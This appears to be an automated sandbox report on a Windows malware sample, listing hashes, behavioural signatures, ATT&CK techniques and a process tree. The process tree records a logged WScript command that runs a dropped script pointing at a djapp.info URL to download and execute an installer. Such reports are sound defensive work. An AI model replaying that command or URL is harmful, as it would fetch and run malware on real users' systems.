abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2022, 07:02

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General

Target

abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe
Size

184KB
MD5

5a33f88d9a0dba67419bb6ce20b4db72
SHA1

bc585e4cf5155619b0e591ab11f56570d43244a3
SHA256

abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459
SHA512

b0bdb971490b90d6e1035ab68149609745bbdadb89eb22605e616c1db5256394c0f42e533ad57bdf56cd791c10c6804e9f9596873e22e81f93a3be8a630b2001
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO37:/7BSH8zUB+nGESaaRvoB7FJNndny

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	5016	WScript.exe
6	5016	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 5016	3040	abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe	80
PID 3040 wrote to memory of 5016	3040	abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe	80
PID 3040 wrote to memory of 5016	3040	abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe	80

C:\Users\Admin\AppData\Local\Temp\abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe
"C:\Users\Admin\AppData\Local\Temp\abba6e43917548cfe0747f7f63fa54f09e19e961f0777ecba528bb3f1e3f5459.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFCD.js" http://www.djapp.info/?domain=McnnvZqphX.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFCD.exe
  2⤵
  - Blocklisted process makes network request
  PID:5016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufAFCD.exe

Filesize
570B

MD5
b7fcb4660c6f95911004b6372536efb2

SHA1
9cf6e49bf35650fbd0c6b0ffd6ea2d667aedede7

SHA256
1572f9c6d2df6b55b134fb7ed00fed74030e003aa550712aedd3f079254776cf

SHA512
c427fb6e79911fc8e19747184efa37ff34abe5ee7281c189df32af307e110ceaf0dd369a9a6242f17c4b69dbb270481aee3f1da2c36e2208d4102e48bf22a444

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufAFCD.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit